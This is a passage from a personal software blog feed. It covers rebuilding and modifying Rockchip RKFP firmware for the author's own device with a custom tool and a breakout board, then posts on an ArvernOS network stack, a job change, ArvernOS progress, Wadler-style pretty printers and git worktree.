I tried to reconstruct the RKFP images I had (the one I dumped and two I found online). My idea was to invert the “read” process by appending the different RKFP partitions extracted with make_rkfp after having written a “RKFP header”.

Obviously, this didn’t work… I used VBinDiff (a lot) to compare the original image and the one I had reconstructed with my tool. The header appeared to be correct but there were differences in the IDBlock partition and in some other locations.

I realized that the IDBlock partition was special: although it had a data size of N, its actual size was almost three times bigger and after having inspected its content, I had the impression that there was more data than what the partition metadata was saying. Some more searches about this mysterious setting.ini file mentioned here made me conclude that there were probably two loaders. Given that this partition likely contained proprietary code that I needed anyway but didn’t necessarily need to change, I adjusted my tool. I special-case’d the IDBlock partition so that the entire partition was (1) extracted with extract_rkfp, and (2) written with make_rkfp.

I could then generate a RKFP image that looked almost like the original one. The images I found online had extra “backup metadata”, which I didn’t have in the image coming from my device. I wrote code for that, too.

I was kinda confident with my tool but I hadn’t tried the new images on the device yet so its effectiveness was purely theoretical.

A breakout board for SOIC-16

In order to verify that my tool was producing correct firmware, I needed a way to write to the SPI flash chip and then boot the device. Near the end of the Twitter thread, the flash had been desoldered. Soldering and desoldering the flash every time was not an option, and I couldn’t properly use flashrom when the flash was soldered on the device.

I decided to design a small PCB to get access to the flash pins using a 1.27mm 16-pin socket, which would be soldered on the device (see Figure 3). The same board could also be reused with a plug on one side and the flash chip on the other side (see Figure 4).

Figure 3: The 3D view of the breakout board for SOIC-16

It was the first time I designed a PCB with castellated holes. OSH Park did an amazing work on such small boards (about the size of 1 cent coins) 😍

Figure 4: A breakout board is mounted on the PCB and a
second breakout board holds the SPI flash + a plug on the other side

With these breakout boards assembled (see Figure 5), I could easily write to the flash and test my changes on real hardware. Before that, I made sure that the device could still boot with the original firmware (still present on the flash).

Figure 5: The SPI flash mounted on the device (blue circle)

I then used flashrom to put the reconstructed (unmodified) firmware on the SPI flash and I powered on the device. Success! The device booted and everything seemed to work as before.

My next experiment was about producing and booting a modified firmware.

Modifying the system partition

I opted to change the system partition. The first step was to know which options to use to rebuild the SquashFS partition:

$ unsquashfs -s part-system.bin
Found a valid SQUASHFS 4:0 superblock on 500000.squashfs.
Creation or last append time Wed Dec  2 04:03:01 2020
Filesystem size 10778932 bytes (10526.30 Kbytes / 10.28 Mbytes)
Compression xz
        Dictionary size 524288
        Filters selected: arm
Block size 524288
...

I changed a file in the extracted content and then rebuilt the partition:

$ mksquashfs squashfs-root new-system-partition.bin -comp xz -Xbcj arm -b 524288 -all-root

I then reused the make_rkfp command to create a new RKFP image and loaded it on the SPI flash, then put the flash back on the device and powered it on. 3.. 2.. 1.. Success! 😎

Figure 6: HDMI output with the modified firmware

Work in progress

Only the system partition has been altered in the previous section but the data partition could have been equally modified. I had no interest in changing the loader partition and the misc one was empty. This leaves us with the kernel partition.

I added a extract_kernel command to my tool to extract the data from the kernel partition. This was a requirement to understand how to make such a kernel partition in the future, the main motivation being to eventually update the version of the Linux kernel.

The extracted data appears to be a zImage with DTB files appended to it. I am not too sure how that has been generated yet, maybe just cat zImage *.dtb > kernel? A initial ramdisk seems to be part of that same zImage too, and it contains different init.*.rc files.

The next steps will be to build a new Linux kernel that looks like the extracted one, and see if that works.

Conclusion

After having gained root access on this device, I have been able to modify the original firmware. Out of 5 MTD partitions, all but two have been fully analyzed (loader and kernel). I designed a breakout board to easily verify firmware produced with a tool I created specifically for this project. This was also a good excuse to learn about modern CMake 😉

As mentioned before in this article, I was not too interested in the loader partition, hence my focus on the kernel partition near the end. In the future, I want to build a new kernel image and load it on the device. There are two known issues so far: (1) building the right (Android) kernel for the device, and (2) creating a kernel partition for the RKFP image. We’ll see how it goes…

Last but not least, both the tool and the KiCad files have been published on GitHub. Enjoy!

This used to be a link to a Twitter thread from me. I documented how I gained (root) access on a cheap device, which involved hardware and software skills. ↩

On writing a network stack (1/2)

2022-02-17T00:00:00+00:00

There are different ways to approach a problem like “let’s write a network stack”. The most sane solution is probably to not do it because there are many great implementations already (lwIP for example). On the other hand, I learn a lot more by doing than by passively studying existing software or RFCs so 🤷

The “stack” I am referring to is everything that happens after a program calls functions like socket(2), recvfrom(2), etc. and until these functions return. In ArvernOS, but I think that would apply to Linux as well, the network stack is part of the kernel code and (user) programs interact with it using system calls.

When I started the implementation of the ArvernOS network stack (in December 2020), my plan was to write the minimal amount of code to (1) add support for a network card in my kernel and (2) send some valid data. I designed this stack without looking at other existing implementations. That might be a problem in the future, we’ll see.

Figure 1: ArvernOS network stack in (early) 2022, which is divided into 5 layers (the TCP/IP model sits on top of a physical layer)

Each implementation is far from perfect but it is “functional”. In this article, I introduce the three first layers (at the bottom), which cover three network protocols: Ethernet (as per IEEE 802.3), ARP and IPv4.

Layer 1: RTL8139 Network Chip
Layer 2: Ethernet
Layer 2.5: Address Resolution Protocol (ARP)
Layer 3: Internet Protocol v4 (IPv4)
One more thing for today… (surprise, yay!)

Layer 1: RTL8139 Network Chip

Disclaimer: This section is specific to ArvernOS but a network stack needs some hardware eventually, and that is often fairly specific to the kernel/OS (although it should be possible to have an abstraction layer for the hardware devices in the network stack itself).

The first step was implementing a driver for an old Ethernet network card (RTL8139). Why this specific one? Mainly because I knew nothing about network cards or drivers, the OSDev wiki had good resources on that matter, and this card was available in QEMU. If I had to chose a driver to write again, I’d probably write a virtio-net driver because that’d allow me to use it on many virtual machines (and on some cloud providers, potentially).

Figure 2: ArvernOS “Layer 1” is basically a driver to send/receive data

Implementing the RTL8139 driver wasn’t too complex (see these source files: drivers/rtl8139.h and drivers/rtl8139.c). The driver transmits data to the hardware by putting it at the right location in memory and it receives data using hardware interrupts, which are handled with a simple function that copies the data from one memory location to another. These two functions are depicted in Figure 2. Under the hood, the hardware does the conversion from bytes to an analog signal on the actual physical support (i.e. an Ethernet cable).

I chose to represent an Ethernet card as a network interface (defined in this header file: kernel/net/net.h). It is a thin abstraction layer on top of some configuration (like the MAC/IP addresses of the interface itself as well as the gateway and a DNS server), and the driver itself.

With that, it was time to write some more code to send and receive data.

Layer 2: Ethernet

One thing to understand about Ethernet cards like the one above is that they exchange data with other machines within the same LAN (a “home” or “office” network for instance). Machines are connected to each other with physical cables.

At this level (or layer in OSI model parlance), we send and receive frames using MAC addresses. A MAC address looks like this: 52:55:0a:00:02:03. It’s possible to target a specific machine but only if we know its MAC address. Otherwise we have to use the broadcast MAC address, which target all machines configured to accept broadcasted frames (network cards can be configured to ignore such frames).

💡 Layer 2 in ArvernOS

Figure 3: ArvernOS Layer 1 + 2

In ArvernOS, most protocol implementations provide two functions to receive and send data, which is what Figure 3 shows. The Ethernet implementation is defined in kernel/net/ethernet.h. With this network stack, when we send data, the upper layers call the lower ones. It is the opposite when we receive data, which is why rtl8139_receive() calls ethernet_receive_frame() in Figure 3.

This “glue” between the driver code (rtl8139_receive() in this example) and the Ethernet layer (ethernet_receive_frame()) is currently implemented in net_interface_init() (see this line). Depending on the driver type, we configure the right callback function on the interface. The driver has access to this interface so, when it receives data, it can forward the data to the upper layer (which is unknown from its perspective) via the interface:

// drivers/rtl8139.c

static net_driver_t driver = {
  .type = 1, // ARP_HTYPE_ETHERNET
  .name = "RealTek RTL8139",
  .get_mac_address = rtl8139_get_mac_address,
  .transmit = rtl8139_transmit,
  .interface = NULL, // will be set in `net_interface_init()`.
};

void rtl8139_receive()
{
  // ... some code to read the frame/len from a buffer ...

  driver.interface->receive_frame_callback(driver.interface, frame, len);

  // ...
}

I am still wondering if this is the right approach. Sure, it works but there is no buffering so every single frame will be sent to the upper layers in the network stack, one by one. In Linux, network device drivers seem to use the netif_receive_skb() function to pass data up the stack (via napi_gro_receive()), and that definitely involves some buffers.

Anyway, given Ethernet required MAC addresses and broadcasting all frames didn’t sound to appealing, the next logical step was to find a way to discover MAC addresses. My “long-term” goal was to write an IP-oriented network stack so I looked into ARP first.

Layer 2.5: Address Resolution Protocol (ARP)

ARP is a popular protocol to find the recipient MAC address when we know its IP address (or another internet layer address).

It works like this: machine A wants to know the MAC address of machine B. If A knows the IP address of B, it can send an ARP request, i.e. a frame broadcasted on the LAN asking who has <ip address>?. If machine B receives broadcasted frames, it will sends an ARP reply to A and that’s how A will know the MAC address of B.

💡 Layer 2.5 in ArvernOS

Figure 4: ArvernOS Layer 1 + 2 + ARP (Layer 2.5)

Currently, the network stack contains a naive ARP implementation (defined in this header file: kernel/net/arp.h). No ARP cache. No Reverse ARP. As depicted in Figure 4, when receiving data, the Ethernet code has to decode the frame header and read the EtherType value to know what to do next.

The ARP implementation conveniently provides a function to handle ARP packets (arp_receive_packet()), which receives the data contained in the Ethernet frame. If the EtherType is not supported, the frame is dropped.

Sending an ARP request (who has <ip address>?) is less involved because the ARP layer only has to construct the ARP packet and ask the Ethernet layer to send the packet.

At this point, I could visualize frames being sent and received between my kernel and the emulated gateway in QEMU using Wireshark.

But, what if…?

What if A does not know the IP address of B? As mentioned previously, it is possible to broadcast frames. Another option if A knows B’s (host) name could be to use DNS to find the IP address, and then ARP.

What if A knows nothing about B? For example, it isn’t uncommon to plug an Ethernet cable to a new machine and get LAN or even Internet access almost instantaneously. This is very likely happening thanks to DHCP.

Both DNS and DHCP are high level IP protocols. In order to add support for these protocols, I had to implement a couple new layers: IPv4 and UDP.

Layer 3: Internet Protocol v4 (IPv4)

IP is the Internet Protocol and v4 is the “old” version, which I like because I can remember IP addresses (I know, right?). There is also IPv6 but I don’t know much about it. I’d recommend this IPv4 vs. IPv6 FAQ for more information.

IP allows to reach machines on a different LAN using a gateway (a.k.a. a router). When a machine wants to send an IP packet (sometimes called datagram) to a non-local machine, it has to create an Ethernet frame that encapsulates the IP packet and asks the network card to transmit it. We’ve seen that before. The thing is that we need the data to get out of the LAN so the Ethernet frame’s destination address should be the MAC address of the gateway (even though the packet is for a different machine).

When the gateway receives the frame, it reads the EtherType. Given that the frame encapsulates an IPv4 packet, the gateway determines whether the destination IP address is local. If it is not local, it modifies the frame’s destination MAC address to set the MAC address of its own gateway and forwards it. When the packet arrives to a gateway that knows the recipient, the destination MAC address is set to the one of the recipient machine. The recipient reads the EtherType as well, and then parses the IPv4 packet.

Each IPv4 packet has a protocol field that indicates the type of data encapsulated in the packet. Common types include ICMP (“ping”), UDP and TCP.

💡 Layer 3 in ArvernOS

Figure 5: ArvernOS Layer 1 + 2 + IPv4

Figure 5 shows how the IPv4 implementation is integrated in the network stack for ArvernOS. It is very similar to what has been described previously. When receiving a frame, the Ethernet layer reads the EtherType and calls ipv4_receive_packet() when its value is IPv4. A not-so-fun but still interesting part of the IPv4 implementation has been to compute correct checksums as specified in the RFC 1071.

When I implemented IPv4, I also implemented ICMPv4 so that I could verify my network stack implementation by ping-ing another machine. Interested readers can find the code in kernel/net/icmpv4.c.

One more thing for today…

Lately, I started to work on a completely unrelated feature for ArvernOS: a Linux compatibility layer (see this draft PR), which would allow unmodified Linux binaries to run on ArvernOS. This involved learning a lot about the System V ABI and other low-level Linux and “libc” stuff but I made good progress. I was able to run a custom BusyBox build statically compiled with musl on (and for) Linux.

Why would I mention that in an article about network protocols, though? Well, I compiled BusyBox with ping and I was able to execute it on ArvernOS (and yeah, the time seems incorrect):

traceroute kinda works, too. It is cool to see that well-known existing tools can somehow leverage this little network stack. As I said before, it isn’t perfect but it is functional.

The End.

That’s it for today. Let me know if you have questions or comments (email or Twitter). In part 2, we’ll cover UDP, DHCP and DNS.

I joined a new team (at Mozilla)

2022-01-25T00:00:00+00:00

The year is 2022 and I am still using my blog to share personal-ish status updates. Today’s post is about my career.

I work at Mozilla for ~4 years now (including my time as a contractor). After having worked on many things and getting a promotion not too long ago, I made a lateral move.

I am now a full-time Firefox engineer, working on the WebExtensions API. I’ve been working on “web apps” for most of my career and now I’ll be writing code for developers to write browser extensions.

This is scary and maybe a bit silly (career-wise) but this is also an incredible challenge for me. That’s what I wanted. That’s what I needed. I left a great team to join a fantastic team where I am the least experienced in the domain we own. It almost feels like I am back at the beginning of my career, except that I now know how much I don’t know. Ha, well. It’s going to be fine.

ArvernOS in 2021

2021-12-29T00:00:00+00:00

ArvernOS is a side project I started to learn more about operating systems and low level development. I usually work on it for a few weeks in a row, then pause it for a long time until I come back to it again.

At the begin of the year, I tried to make ArvernOS run on a Raspberry Pi 2. It was challenging because the original code was written for x86_64 and QEMU. It kinda worked and I learned a few things along the way but the code didn’t get merged into the main branch because I wasn’t happy with the changes.

Fast forward to November: I really wanted to work on this project again! I cleaned up the codebase, re-reading pretty much every single line of code I had written so far. That gave me a new perspective on the code and I decided to port the ArvernOS kernel to real hardware again.

New architectures supported

250+ commits later, I was able to run the same code, without hacks, on 3 different architectures (x86_64, AArch32 and AArch64) and 2 different “real” devices: Raspberry Pi 2 and Raspberry Pi 3. Each feature I had to implement for ARM was an opportunity to transform some of the “legacy” x86_64 code into shared code.

Some implementation details

In order to have a mostly generic kernel, some architecture-specific functions have been identified and documented in the include/kernel/arch/ folder. Each “target” (that is, architecture and/or board) has to implement these functions. That being said, most of them can be left empty and the kernel will still boot.

The boot sequence is target-specific, i.e. there is no unified bootloader. For x86_64, GRUB and Multiboot2 are used and the default Raspberry Pi bootloader is used for the RPi boards. On the latter boards, ARM tags (ATAGs) are used to pass information because of the lack of a Device Tree parser.

Each target follows the same boot sequence:

the bootloader calls start defined in boot.asm for each target. This function contains the super-early initialization code required to execute the C code. For ARM, I tried to follow the ARM Linux convention.
the assembly code calls the kmain() C function, which is also architecture-specific. Its main task is to set up the hardware before the generic code gets executed (example).
kmain_start() is invoked. This is the ArvernOS generic kernel code, which ends the boot sequence by running a process (the kernel shell for example).

New build system

The build system has been refactored too, although it is still based on non-recursive Makefiles. A base Makefile, which contains most of the configuration, includes the target architecture Makefile and, optionally, the Makefile for the board. This isn’t too complicated and it works well so far.

Besides that, the biggest change has been the switch to LLVM, which greatly simplified compilation for different architectures.

New documentation

The documentation has been improved as well and you can browse it at: williamdurand.fr/ArvernOS/. I use Doxygen with a more modern theme and a few scripts and hidden HTML comments in markdown files to improve the final content (e.g., the “Note” cards, TODOs, etc.).

The documentation isn’t perfect yet, in part because writing good docs takes time and also because there are still lots of moving parts. Ideally, all public header files should be extensively documented.

New CI

With two new architectures supported and more code written, it was time to refactor the Continuous Integration pipeline as well. There are now more than 20 jobs performing all kind of checks and running tests with different configuration flags.

    ___                               ____  _____
   /   |  ______   _____  _________  / __ \/ ___/
  / /| | / ___/ | / / _ \/ ___/ __ \/ / / /\__ \
 / ___ |/ /   | |/ /  __/ /  / / / / /_/ /___/ /
/_/  |_/_/    |___/\___/_/  /_/ /_/\____//____/


[  0.000000] ArvernOS 0.0.3 (46839059) for aarch64+raspi3 has started
[  0.000000] kmain: cmdline is 'kshell selftest'
[  0.000000] core: initialize interrupt service routines
[  0.000000] time: initialize timer
[  0.006342] time: initialize clock
[  0.006620] sys: initialize syscalls
[  0.006880] fs: initialize virtual file system
[  0.007368] fs: mount tarfs (init ramdisk) - addr= 0x8000000
[  0.008999] fs: mount devfs
[  0.010348] fs: mount devfs
[  0.010765] fs: mount sockfs
[  0.012040] kmain: loading kshell...

[kernel syscalls]
Hello, kshell!

[kernel stacktrace]

[memory]
simple test with malloc()/free(): pointer before malloc() = 0000000000000042
success! p=0000000000400190 and value is: it works
now allocating a large chunk of memory... Pointer before malloc() = 0000000000400190
success!

[filesystem]
This message should be written to the console.

[aarch64]
Got expected exception level: 1
Hello, syscall!
Got expected syscall return value: 42

done.
[  0.079482] powering off system: exit_code=0
Powering off system now...

When possible, QEMU is used to perform runtime checks. I added some semihosting support so that the QEMU exit code depends on the result of the selftest command.

Currently, only the x86_64 architecture is able to load external programs (that can be found in userland). One of these programs is named testsuite and the idea is to test the whole OS: the boot sequence, the switch to usermode and some system calls.

What’s next?

This project is an experiment that allows me to learn a lot of things and it also challenges me sometimes. I don’t intend to make it production-ready, fully featured or anything like that. Afterall, it is yet another Unix-like monolithic kernel, built on top of various tutorials, studies of various projects (including the Linux kernel), and trials and errors.

There are, however, things I’d like to get done:

Multi-tasking: it should be possible to create, run and terminate multiple tasks. I don’t want to go fancy on that, just something that is both simple and functional.
Usermode: the kernel should run at a higher more privileged level than regular (userland) programs. That kinda works on x86_64 already.
Virtio drivers: in order to test more kernel code, I’d like to implement some virtio drivers like virtio-net.
Linux compatibility: I’d like to explore how to execute (simple) unmodified Linux binaries on ArvernOS.
Graphical User Interface (GUI): from what I’ve seen, that does not look like a fun thing to do because I don’t know much about it but maybe it is? In any case, that’s something I’d like to explore in the future.
Symmetric Multiprocessing (SMP): this would allow the kernel to leverage all the CPU cores. There are interesting challenges, here, e.g., to avoid synchronization problems.

I have some WIP patches for some of these things and the rest is kinda unknown to me. We’ll see in 2022 I guess.

On pretty printers

2021-07-23T00:00:00+00:00

Pretty printers are tools used to format textual content according to a set of stylistic conventions. Prettier, black, rustfmt are great examples of such tools, which we call “code formatters” because they are applied to source code. Users can usually specify the maximum line length and the type of indentation (spaces or tabs) among other things but those two are responsible for endless debates in our industry 🤷.

After a “I wonder how that works” moment, I researched different ways to implement a code formatter and stumbled upon “A prettier printer” authored by Philipp Wadler. This paper introduces an Intermediate Representation (IR) used to format content that can then be printed with multiple possible layouts. This is the foundation of some popular code formatters like Prettier (see also: Prettier’s intermediate representation).

How does Wadler’s algorithm work?

A code formatter takes some code as input, parse it and translate the result into a more beautiful version of the code. The parsing step usually generates an Abstract Syntax Tree (AST), from which we can derive an intermediate representation as presented in Wadler’s paper.

Most implementations based on this paper use two possible layouts: flat and broken, controlled by the user-defined line length (a.k.a. “print width”). The code formatter should try to append as much content as possible on the same line (flat layout) and, when that isn’t possible, the broken layout, which describes how to break the content on multiple lines, should be preferred.

Example: pretty-printing JavaScript

In order to better understand how things work, let’s take an example with the JavaScript function definition below, taken from my very own implementation of Wadler’s algorithm in JS, which we are goint to format with that same implementation:

const renderDocument = (doc, fits = DEFAULT_FITS, indentPrefix = DEFAULT_INDENT_PREFIX) => {}

In order to format this code, we first need to parse it. Using the JavaScript parser espree, we get the following AST (some properties have been removed for brevity):

Node {
  type: 'Program',
  body: [
    Node {
      type: 'VariableDeclaration',
      kind: 'const',
      declarations: [
        Node {
          type: 'VariableDeclarator',
          id: Node {
            type: 'Identifier',
            name: 'renderDocument'
          },
          init: Node {
            type: 'ArrowFunctionExpression',
            params: [
              Node {
                type: 'Identifier',
                name: 'doc'
              },
              Node {
                type: 'AssignmentPattern',
                left: Node {
                  type: 'Identifier',
                  name: 'fits'
                },
                right: Node {
                  type: 'Identifier',
                  name: 'DEFAULT_FITS'
                }
              },
              Node {
                type: 'AssignmentPattern',
                left: Node {
                  type: 'Identifier',
                  name: 'indentPrefix'
                },
                right: Node {
                  type: 'Identifier',
                  name: 'DEFAULT_INDENT_PREFIX'
                }
              }
            ],
            body: Node {
              type: 'BlockStatement',
              body: []
            }
          }
        }
      ]
    }
  ]
}

Let’s walk through the IR generation now. Skipping the Program node (which represents the entire source code), we want to start pretty-printing a variable declaration (VariableDeclaration and VariableDeclarator nodes).

A simple IR

We are only interested in the first part of our input for now, which is essentially the JavaScript code shown below where the Right-Hand Side (RHS) of the declaration has been replaced with .... We’ll get back to that part later.

In the meantime, this is convenient because it makes the intermediate representation simple: it is a list of strings. A list implies concatenation of all the items and a string is rendered as is.

// The JavaScript array below is our IR!
['const ', 'renderDocument', ' = ', '...', ';']

// This is the result of our IR once rendered:
const renderDocument = ...;

Note the semi-colon at the end, which isn’t part of the input. When walking the JavaScript AST, we produce IR specifically for JavaScript. This is why the translation logic can append a semi-colon to VariableDeclaration. While the IR “building blocks” are generic, the parsing and translation layers are language-specific. Here is an example of translation logic for XML.

Describing different layouts

The RHS is an ArrowFunctionExpression and we want the pretty output to be rendered differently depending on the print width value because such functions might have long parameter names, default values, etc. The idea is to print all the arguments of the function on the same line if the total width is less than the print width, otherwise we want to print each argument on its own line. The IR should describe these two options, without having to specify actual values.

The group function (Prettier calls it a “command”) is used to describe content that should be kept on a single line (like concatenation above) but, if it does not fit, should be broken at specific locations. These locations are defined with different lines:

HARDLINE: specify a line break that is always included in the output, even if the expression does not fit on a single line
LINE: specify a line break. If an expression fits on one line, the line break will be replaced with a space
SOFTLINE: specify a line break. The difference from LINE is that if the expression fits on a single line, it will be replaced with nothing (NIL)

We want to break after each function argument so LINE looks like a good fit. Let’s create a group and add LINE between each parameter (name, default value if any, and comma).

[
  // This is what we had before.
  "const ", "renderDocument", " = ",

  // This is NEW!
  {
    type: "group",
    contents: [
      "(",
      "doc", ",",
      LINE,
      "fits", " = ", "DEFAULT_FITS", ",",
      LINE,
      "indentPrefix", " = ", "DEFAULT_INDENT_PREFIX",
      ")", " => ", "{", "}",
    ]
  },

  // This is what we had before.
  ";"
]

This would produce the following pretty outputs:

//-----------------------------------------------------------------------------| <- 80 chars (broken layout was used)
const renderDocument = (doc,
fits = DEFAULT_FITS,
indentPrefix = DEFAULT_INDENT_PREFIX) => {};

//---------------------------------------------------------------------------------------------------------------------| <- 120 chars (flat layout was used)
const renderDocument = (doc, fits = DEFAULT_FITS, indentPrefix = DEFAULT_INDENT_PREFIX) => {};

Ugh! The broken layout version isn’t pretty. We should probably break after the opening parenthesis using a SOFTLINE, align all the arguments with one level of indentation and probably break before the closing parenthesis as well.

We can use a new function named nest() that will change the current indentation level. This abstraction allows to later render the same input with 2 spaces, 4 spaces or even tabs. Indentation is only updated after a hard line, which is why we don’t have to specify that it only applies to the broken layout.

Here is the final IR of our function:

[
  "const ", "renderDocument", " = ",
  {
    type: "group",
    contents: [
      "(",

      // This is NEW!
      {
        type: "nest",
        indent: 1,
        contents: [
          SOFTLINE,
          "doc", ",",
          LINE,
          "fits", " = ", "DEFAULT_FITS", ",",
          LINE,
          "indentPrefix", " = ", "DEFAULT_INDENT_PREFIX",
        ],
      },
      // This is NEW!
      SOFTLINE,

      ")", " => ", "{", "}",
    ],
  },
  ";",
]

The renderer

The logic to render the IR to pretty content is generic because the intermediate representation contains all the needed information. When the renderer finds a group (see here), it will measure the length of the output when its content is appended on the same line. If this length is lower than the print width, that’s what gets rendered, otherwise the renderer switches to the broken layout.

LINE and SOFTLINE are implemented with a flatChoice function under the hood, which is defined as follows:

{
  type: 'flat-choice',
  whenBroken: '<used when layout is broken>',
  whenFlat: '<used when layout is flat>'
}

// This is how `LINE` is defined in my implementation.
const LINE = flatChoice(HARDLINE, " ");

There are other functions but group and flatChoice are the ones used to describe multiple layouts and therefore very important.

The IR presented in this article gives us some rendering configuration options “for free”:

the desired print width: used to determine when to use the broken layout (which is used by a fits() function under the hood)
the “type” of indentation: used when the indentation level changes. With nest(), the IR tells the renderer to indent or dedent the content that follows by N levels. The renderer is free to use any number of spaces or tabs for a single indentation level
the control character to use to indicate the end of a line: while we probably always want \n, it could be any other character

Results

Rendering the full intermediate representation shown previously would give different outputs depending on the print width value:

//-----------------------------------------------------------------------------| <- 80 chars
const renderDocument = (
  doc,
  fits = DEFAULT_FITS,
  indentPrefix = DEFAULT_INDENT_PREFIX
) => {};

//---------------------------------------------------------------------------------------------------------------------| <- 120 chars
const renderDocument = (doc, fits = DEFAULT_FITS, indentPrefix = DEFAULT_INDENT_PREFIX) => {};

🎉🎉🎉

It is more complicated than that.

Is it that simple? No.

I have been lying to you! Did you see an example with a comment? Or with multiple logical blocks? This is where things start to be complicated.

Empty lines

Let’s consider the example thereafter, which has two “logical blocks”. First, we have two variables defined and grouped together and then a console.log call:

const a = 1;
const b = 2;

console.log(a + b);

Most users will naturally want to keep the blank line between the two blocks and no one will like tools that produce the following output:

const a = 1;
const b = 2;
console.log(a + b);

In order to keep logical blocks separated, we need extra logic to determine whether, after each statement, there is one or more blank lines. If that’s the case, we can introduce a HARDLINE in the IR, which will also collapse multiple blank lines into a single one (here is how I implemented it for JS).

Here is a quote from the Prettier docs:

It turns out that empty lines are very hard to automatically generate. The approach that Prettier takes is to preserve empty lines the way they were in the original source code. There are two additional rules:

Prettier collapses multiple blank lines into a single blank line.

Empty lines at the start and end of blocks (and whole files) are removed. (Files always end with a single newline, though.)

Depending on the programming language or parser (more on that in the next section), this might not be too difficult. As for comments, this is a completely different story!

Comments

First, most parsers aren’t lossless. ASTs are by definition, well… abstract. Comments are usually not included in ASTs and when they are present, they aren’t attached to nodes. This is a problem because where should comments be placed?

We can try to reattach comments to AST nodes if the parser provides locations or we could use a lossless parser like rowan. Prettier provides a framework to handle comments and it is a lot better than what I implemented to reattach comments.

Here is another quote from the Prettier docs:

When it comes to the content of comments, Prettier can’t do much really. […]

Then there’s the question of where to put the comments. Turns out this is a really difficult problem. Prettier tries its best to keep your comments roughly where they were, but it’s no easy task because comments can be placed almost anywhere.

Idiomatic patterns

The third constraint that we have when building a code formatter is to fine-tune the pretty output to respect some popular patterns. So far, we’ve seen how to render the same content depending on the print width but we could go further and have specific layouts depending on the code itself.

Let’s take an example with curried arrow functions (see this Prettier patch):

// This is the input, which looks quite good already.
const currying =
  (argument1) =>
  (argument2) =>
  (argument3) =>
  (argument4) =>
  (argument5) =>
  (argument6) =>
    foo;

With some trivial modifications to my implementation (required because the JS formatter in my demo project does not support all JS syntaxes), this is how it would be pretty-printed:

const currying = (argument1) => {
  return (argument2) => {
    return (argument3) => {
      return (argument4) => {
        return (argument5) => {
          return (argument6) => {
            return foo;
          };
        };
      };
    };
  };
};

Prettier used to print the input above like this:

const currying = (argument1) => (argument2) => (argument3) => (argument4) => (
  argument5
) => (argument6) => foo;

In both cases, this isn’t ideal. We really want to keep the input as output because it is more readable in this case. While Wadler’s IR and renderer will happily pretty-print any content, fine tuning the translation layer is the complicated part.

Conclusion

I know a lot more about code formatters than before. It is still quite limited to one popular algorithm but I dug enough to understand some of the challenges when it comes to pretty-printing content. This is a hard problem.

While implementing Wadler’s algorithm isn’t that complicated (and we can find many implementations), correctly handling comments and empty lines are crucial and there isn’t a popular algorithm for that. Prettier is a great framework to build solid code formatters and it isn’t limited to JavaScript: there are plugins for many languages.

It sounds like I felt in love with Prettier or something. No, but knowing how it really works and which problems it actually solves is super interesting and mind-blowing to me.

An introduction to `git worktree`

2021-05-05T00:00:00+00:00

This is a quick introduction to a git feature I use quite often because I find it better than simple branches in some cases.

git worktree can help “manage multiple working trees attached to the same repository”. Instead of having different branches within the same folder, you have distinct folders (working trees) bound to the same git repository. In other words, this feature allows you to work on different branches at the same time.

Why do I like this feature? Let’s find out!

Spikes and code reviews

I do code reviews every day and I like to checkout the code locally pretty much every time. When I am working on a spike for $PROJECT (in parallel), which usually takes several days, I use git worktree to avoid “WIP” (Work In Progress) commits or stashes. My current spike lives in a different folder than the main local repository for $PROJECT, and I can use the latter to checkout Pull Requests and do the reviews.

One might think that I could use git stash or a different branch and do git commit -am "wip". I’ve done that. I even have custom git commands and git aliases to simplify repetitive tasks. Yet, it’s far from ideal: I have to commit everything to “save” the state of my spike, make sure that I don’t have a local (git-ignored) configuration when I switch to a different branch, update the project’s dependencies, and, when I’m done with the review, “undo” everything to restore the state of the spike. It isn’t very efficient.

Benchmarks and other comparisons

This isn’t a very common use case but I sometimes need to run the same application with two different configurations and check the differences.

In the past, I did that sequentially and it was error-prone because I couldn’t check the differences with the two application flavors running side-by-side. In order to achieve that, I had to clone the same repository a second time.

git worktree gives the same experience except that there is no need to clone the repository again. The “copies” (= working trees) created with git worktree point to the git history and configuration of the main repository. Indeed, there is no .git/ folder in a “copy” created with git worktree. Instead, there is a simple .git file with the following content:

gitdir: /path/to/main/git/repo/.git/worktrees/some-worktree

Each working tree is a git repository and has access to the full git history, remotes, etc. but everything is stored in the main repository. This is the reason why git branch shows the local branches as well as the different worktrees for instance:

$ git branch
  some-local-branch-in-main-repo
+ some-worktree
* main

Like any other git repository, it’s possible to create new branches, push to/pull from a remote, etc. in a working tree created with git worktree.

How to use `git worktree`?

I don’t use git worktree on all projects. For those where it will likely be used, I have my own convention. I clone the main repository in a folder whose name is the project’s name:

$ tree -L 1 ~/projects/mozilla/addons-frontend
/Users/william/projects/mozilla/addons-frontend
└── addons-frontend

You might want to name the main repository folder main or master instead. I reuse the project’s name because my tmux config automatically sets the window names based on the current paths. It wouldn’t be very useful to have several “main” windows…

From the main repository, I can create a new working tree with the following command:

$ git worktree add ../some-worktree

This will result in a new folder created next to the “main” one:

$ tree -L 1 ~/projects/mozilla/addons-frontend
/Users/william/projects/mozilla/addons-frontend
├── addons-frontend
└── some-worktree

As a side note, my tmux session with the two working trees opened (+ another project) would look like:

moz ⧉ 1:addons-frontend   2:some-worktree   3:other-project

There are other commands to manage worktrees like git worktree remove and git worktree prune. I let interested readers browse the git documentation.

Hopefully this introduction has been useful to you. I’d be happy to discuss with you about this git feature or how you approach some of the use cases described above in a different way, ciao!

Moziversary #3

2021-05-01T00:00:00+00:00

Three years at Mozilla, yay! 🎉 It’s my longest time at the same company, and I am now a Staff Software Engineer. What a ride!

A year ago, I wrote that I was starting to be more involved in Firefox. I worked on very diverse projects in 2020 but one of them was super fun: we revamped the AMO statistics and it required backend changes on AMO, some ETL/BigQuery work, and new data collection in Firefox. I worked on all those components and learned a lot of stuff along the way. I also [deleted a lot of code]¹, [changed a lot of code]², contributed to Firefox for Android (Fenix), created new libraries to support the work of my team, continued to work on security stuff, and even wrote some PHP lately.

My role is constantly evolving. By knowing every bit of the AMO platform and expanding my skill sets with contributions in Firefox, I am hoping to have a wider vision of add-ons in general, from a technical perspective. I am doing my best to bridge the gap between the AMO and WebExtensions engineering teams, which will be welcomed as more Product requirements need changes in both contexts.

Now, thinking about the last 12 months, there are areas that I would like to improve.

I mentioned it above, I work on very different projects and components. It’s exciting because I am never bored, I can help many folks and I learn a lot but context switching is hard. My tmux session has ~10 windows open all the time nowadays (one per project) so I had to adapt. I wrote a bunch of scripts to automate some maintenance tasks, I started to dedicate specific days to certain projects, and I learned to be more strict about priorities. I still have some work to do on that front, though.

